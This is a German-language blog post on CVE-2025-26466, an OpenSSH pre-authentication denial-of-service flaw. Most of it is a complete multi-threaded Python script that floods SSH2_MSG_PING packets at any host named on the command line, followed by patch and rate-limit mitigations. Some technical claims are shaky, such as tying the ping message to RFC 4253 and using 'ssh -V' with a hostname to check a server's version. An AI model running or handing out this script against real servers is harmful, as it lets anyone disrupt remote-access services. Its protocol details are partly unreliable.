CVE-2025-26466 ist eine pre-authentication Denial-of-Service Schwachstelle in OpenSSH. Betroffen sind Versionen vor 9.9p2 – sowohl client- als auch serverseitig. Der Fix ist im Februar 2025 rausgekommen, viele Systeme laufen aber noch mit alten Versionen.
Das eigentliche Problem: OpenSSH erlaubt das Senden von SSH2_MSG_PING-Paketen bevor der Key Exchange abgeschlossen ist. Der Server muss diese Pakete buffern und verarbeiten. Schickt man genug davon schnell genug rein, läuft entweder der Speicher voll oder die CPU hängt sich weg.
Wie funktioniert das genau
Normaler SSH-Handshake läuft so ab:
- Client verbindet, beide tauschen Banner aus (
SSH-2.0-...) - Beide senden
SSH_MSG_KEXINIT– Algorithmen aushandeln - Key Exchange (DH/ECDH) läuft durch
- Session Keys werden abgeleitet
- Erst danach Authentifizierung
Das Problem sitzt zwischen Schritt 2 und 3. SSH2_MSG_PING (Message Type 192) ist eine neuere OpenSSH-Extension aus RFC 4253 bzw. den OpenSSH-Drafts. Der Server antwortet darauf mit SSH2_MSG_PONG (193). Das ist eigentlich für Keep-Alive gedacht.
Was passiert wenn man KEXINIT schickt aber dann nicht auf das Server-KEXINIT wartet und stattdessen sofort Ping-Pakete flutet? Der Server hat noch keinen verschlüsselten Channel, muss die Pakete aber trotzdem verarbeiten. Jedes Ping reserviert ein bisschen Speicher, will eine Antwort schreiben, und die Verbindung bleibt offen.
Mit mehreren parallelen Connections läuft das schnell aus dem Ruder.
Voraussetzungen
- OpenSSH < 9.9p2 auf dem Ziel
- Netzwerkzugang zu Port 22 (oder dem konfigurierten SSH-Port)
- Keine weitere Authentifizierung nötig – daher pre-auth
Version checken geht so:
ssh -V ziel.example.com 2>&1 | head -1
# oder direkt am Port:
nc -w3 ziel.example.com 22 | head -1
Gibt der Server SSH-2.0-OpenSSH_8.x oder ähnliches zurück – betroffen.
Der PoC
Der Code ist straightforward. Baut eine TCP-Connection auf, schickt ein Client-Banner, dann KEXINIT – und flutet danach sofort mit PING-Paketen ohne auf den Key Exchange zu warten. Das ist der entscheidende Trick.
#!/usr/bin/env python3
"""
CVE-2025-26466 OpenSSH SSH2_MSG_PING DoS PoC
Educational Purpose Only by Vollassiliz
"""
import socket
import struct
import time
import threading
import sys
from typing import Optional
class SSHPingDoS:
"""OpenSSH SSH2_MSG_PING DoS Exploiter"""
# SSH Protocol Constants
SSH_MSG_KEXINIT = 20
SSH2_MSG_PING = 192
SSH2_MSG_PONG = 193
def __init__(self, hostname: str, port: int = 22, timeout: int = 5):
self.hostname = hostname
self.port = port
self.timeout = timeout
self.connected = False
self.sock: Optional[socket.socket] = None
def connect(self) -> bool:
"""Verbinde zum SSH-Server"""
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.connect((self.hostname, self.port))
self.connected = True
print(f"[+] Verbindung zu {self.hostname}:{self.port} hergestellt")
return True
except Exception as e:
print(f"[-] Verbindungsfehler: {e}")
return False
def recv_banner(self) -> Optional[str]:
"""Empfange SSH-Server Banner"""
try:
banner = self.sock.recv(1024).decode('utf-8', errors='ignore').strip()
print(f"[+] Server-Banner: {banner}")
return banner
except Exception as e:
print(f"[-] Banner-Fehler: {e}")
return None
def send_banner(self) -> bool:
"""Sende SSH-Client Banner"""
try:
client_banner = b"SSH-2.0-OpenSSH_9.4p1\r\n"
self.sock.sendall(client_banner)
print(f"[+] Client-Banner gesendet")
return True
except Exception as e:
print(f"[-] Banner-Send-Fehler: {e}")
return False
def build_ssh_packet(self, payload: bytes) -> bytes:
"""
Konstruiere ein SSH-Protokoll-Packet
SSH Packet Format:
uint32 packet_length
byte padding_length
byte[n] payload
byte[m] padding
"""
padding_length = 8
packet_length = len(payload) + 1 + padding_length
packet = struct.pack('>I', packet_length)
packet += bytes([padding_length])
packet += payload
packet += b'\x00' * padding_length
return packet
def send_kexinit(self) -> bool:
"""Sende SSH_MSG_KEXINIT"""
try:
kexinit_payload = bytes([self.SSH_MSG_KEXINIT])
kexinit_payload += b'\x00' * 16 # cookie
for _ in range(10): # 10 algorithm lists
kexinit_payload += struct.pack('>I', 0)
kexinit_payload += b'\x00\x00\x00\x00'
packet = self.build_ssh_packet(kexinit_payload)
self.sock.sendall(packet)
print(f"[+] SSH_MSG_KEXINIT gesendet")
return True
except Exception as e:
print(f"[-] KEXINIT-Fehler: {e}")
return False
def recv_server_kexinit(self) -> bool:
"""Empfange Server-KEXINIT (optional)"""
try:
data = self.sock.recv(4096)
print(f"[+] Server KEXINIT empfangen ({len(data)} bytes)")
return True
except socket.timeout:
print(f"[!] Timeout beim Empfang von Server-KEXINIT (OK)")
return True
except Exception as e:
print(f"[-] KEXINIT-Empfang Fehler: {e}")
return False
def send_ping_flood(self, count: int = 1000, interval: float = 0.01):
"""
Sende SSH2_MSG_PING Flood
SSH2_MSG_PING Format:
byte type (192 = SSH2_MSG_PING)
string data
"""
try:
print(f"[+] Starte PING-Flood: {count} PINGs mit {interval}s Interval")
for i in range(count):
ping_data = b"PING" + str(i).encode()
ping_payload = bytes([self.SSH2_MSG_PING])
ping_payload += struct.pack('>I', len(ping_data))
ping_payload += ping_data
packet = self.build_ssh_packet(ping_payload)
self.sock.sendall(packet)
if i % 100 == 0:
print(f" [+] {i}/{count} PINGs gesendet")
time.sleep(interval)
print(f"[+] PING-Flood abgeschlossen")
return True
except Exception as e:
print(f"[-] PING-Flood Fehler: {e}")
return False
def disconnect(self):
if self.sock:
try:
self.sock.close()
print(f"[+] Verbindung geschlossen")
except:
pass
def single_attack(hostname: str, port: int = 22, ping_count: int = 500):
attacker = SSHPingDoS(hostname, port)
if not attacker.connect():
return False
if not attacker.recv_banner():
attacker.disconnect()
return False
if not attacker.send_banner():
attacker.disconnect()
return False
if not attacker.send_kexinit():
attacker.disconnect()
return False
# WICHTIG: NICHT auf Server-KEXINIT warten
# attacker.recv_server_kexinit()
attacker.send_ping_flood(count=ping_count, interval=0.0001)
attacker.disconnect()
return True
def multi_threaded_attack(hostname: str, port: int = 22,
num_threads: int = 10,
ping_per_connection: int = 500):
print(f"\n[*] Starte Multi-Threaded DoS-Angriff")
print(f" - Ziel: {hostname}:{port}")
print(f" - Threads: {num_threads}")
print(f" - PINGs pro Connection: {ping_per_connection}")
print(f" - Gesamt PINGs: {num_threads * ping_per_connection}\n")
def thread_attack(thread_id):
print(f"[*] Thread {thread_id} gestartet")
single_attack(hostname, port, ping_per_connection)
print(f"[*] Thread {thread_id} beendet")
threads = []
for i in range(num_threads):
t = threading.Thread(target=thread_attack, args=(i,))
threads.append(t)
t.start()
time.sleep(0.1)
for t in threads:
t.join()
print(f"\n[+] Multi-Threaded DoS-Angriff abgeschlossen")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <hostname> [port] [threads] [pings]")
print(f"Example: {sys.argv[0]} 192.168.1.10 22 50 1000")
sys.exit(1)
hostname = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 22
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
pings = int(sys.argv[4]) if len(sys.argv) > 4 else 500
print(f"[*] CVE-2025-26466 OpenSSH SSH2_MSG_PING DoS PoC")
print(f"[*] Educational Purpose Only\n")
multi_threaded_attack(hostname, port, threads, pings)
Warum wird KEXINIT nicht abgewartet
Das ist der eigentliche Kniff. Wenn man normal wartet bis der Server seinen KEXINIT schickt und den Key Exchange abschließt, ist die Verbindung voll aufgebaut und der Server hat die Kontrolle über die Rate der PINGs. Man schickt KEXINIT, ignoriert die Antwort komplett und fängt sofort an zu fluten.
Der Server hängt jetzt in einem Zustand wo er die PINGs verarbeiten muss aber der Key Exchange nicht abgeschlossen ist. Er kann die Verbindung nicht einfach droppen ohne State zu leaken. Mit 10, 20, 50 parallelen Connections summiert sich das.
Mitigation
Update auf OpenSSH 9.9p2 oder neuer. Das ist die einzige richtige Lösung.
ssh -V 2>&1
# OpenSSH_9.9p2 oder höher = gepatcht
Als temporärer Workaround helfen Rate Limits auf TCP-Ebene:
# iptables: max 5 SSH-Verbindungen pro Minute pro IP
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
-m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
-m recent --update --seconds 60 --hitcount 6 --name SSH -j DROP
Fail2Ban greift hier leider nicht weil die Verbindung nie authentifiziert wird und kein Log-Eintrag entsteht der den Filter triggert. Man müsste direkt auf Connection-Rate gehen. Alternativ MaxStartups in sshd_config runtersetzen:
# /etc/ssh/sshd_config
MaxStartups 3:50:10
# 3 unauthenticated connections erlaubt, ab 3 mit 50% Drop-Rate, hard limit 10
Das reduziert die Angriffsfläche deutlich. Aber updaten ist die Pflicht.
Fazit
Pre-auth DoS ist immer nervig weil man nichts dagegen tun kann außer patchen und rate-limitieren. Die Schwachstelle ist nicht sonderlich komplex – das Protokoll hat schlicht keine Begrenzung für pre-auth Messages definiert. Patch war schnell draußen, aber viele SSH-Deployments updaten nicht regelmäßig.
Eigene Systeme prüfen, updaten, fertig.
Wer SSH-Zugang von außen hat sollte auch
AllowUsersundAllowGroupsin der sshd_config nutzen. Minimale Angriffsfläche ist immer besser als Patches hinterherzulaufen.